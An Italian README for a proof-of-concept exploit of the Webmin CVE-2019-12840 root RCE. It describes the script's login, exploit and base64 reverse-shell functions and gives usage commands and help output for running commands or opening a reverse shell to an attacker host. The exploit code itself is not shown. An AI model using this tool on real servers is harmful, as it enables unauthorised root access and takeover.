
Questa è una propria e basilare prova di concetto della vulnerabilità CVE-2019-12840 che ti dà un RCE in root.
Questo repository contiene uno script Python che sfrutta la vulnerabilità CVE-2019-12840 in Webmin.
Lo script tenta di effettuare il login su un server Webmin e quindi sfrutta la vulnerabilità CVE-2019-12840. Lo script accetta vari argomenti da riga di comando, inclusi il nome utente e la password per il login al server Webmin, l'URL del server, la porta del server, la porta locale per la shell inversa e un comando da eseguire sul server.
Per utilizzare questo script, devi fornire almeno il nome utente, la password e l'URL del server Webmin. Ecco un esempio di come usare lo script:
python exploit.py -U username -P password -u http://localhost:10000 -lhost 10.x.x.x -lport 443
Lo script Python in questo repository è strutturato come segue:
Importazione dei moduli: Lo script inizia importando vari moduli Python necessari al suo funzionamento. Questi includono requests per effettuare richieste HTTP, argparse per gestire gli argomenti da riga di comando, base64 per la codifica e decodifica in base64 e BeautifulSoup per analizzare HTML.
Definizione delle funzioni: Lo script definisce diverse funzioni:
CVE_2019_12840(url,auth_base64,cmd): Questa funzione effettua una richiesta POST a un URL specifico con un payload specifico e verifica la risposta.login(username,password,url): Questa funzione tenta di effettuare il login sul server Webmin con un nome utente e una password forniti.exploit(sid,url,cmd): Questa funzione tenta di sfruttare la vulnerabilità CVE-2019-12840 sul server Webmin.b64revshell(lhost,lport): Questa funzione genera una shell inversa codificata in base64.Gestione degli argomenti da riga di comando: Lo script accetta vari argomenti da riga di comando, inclusi il nome utente e la password per il login al server Webmin, l'URL del server, la porta del server, la porta locale per la shell inversa e un comando da eseguire sul server.
Esecuzione dell'exploit: Se lo script viene eseguito come programma autonomo (invece di essere importato come modulo), tenterà di effettuare il login sul server Webmin e quindi eseguirà l'exploit.
Lo script accetta vari argomenti da riga di comando. Ecco un esempio di come usare lo script:
python3 CVE-2019-12840.py -h
Questo mostrerà l'aiuto del programma, che include quanto segue:
_______ ________ ___ ___ __ ___ __ ___ ___ _ _ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |__ \ / _ \| || | / _ \
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | ) | (_) | || |_| | | |
| | \ \/ / | __|______/ /| | | || |\__, |______| | / / > _ <|__ _| | | |
| |____ \ / | |____ / /_| |_| || | / / | |/ /_| (_) | | | | |_| |
\_____| \/ |______| |____|\___/ |_| /_/ |_|____|\___/ |_| \___/
by CyberMonkey
Webmin <= 1.910 RCE (Authorization Required)
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443
usage: CVE-2019-12840.py [-h] -U USERNAME -P PASSWORD -u URL [-p PORT] [-lport LPORT] (-c CMD | -lhost LHOST)
options:
-h, --help show this help message and exit
-U USERNAME username
-P PASSWORD password
-u URL target url
-p PORT target port
-lport LPORT local port for reverse shell
-c CMD command to execute
-lhost LHOST Send back a reverse shell at port 443
Questo script è un exploit di sicurezza e dovrebbe essere utilizzato solo per scopi legittimi, come test di penetrazione o ricerca sulla sicurezza. Non deve essere utilizzato per attività illegali. Inoltre, questo script è progettato per essere utilizzato con server Webmin vulnerabili a CVE-2019-12840, quindi potrebbe non funzionare con tutte le versioni di Webmin.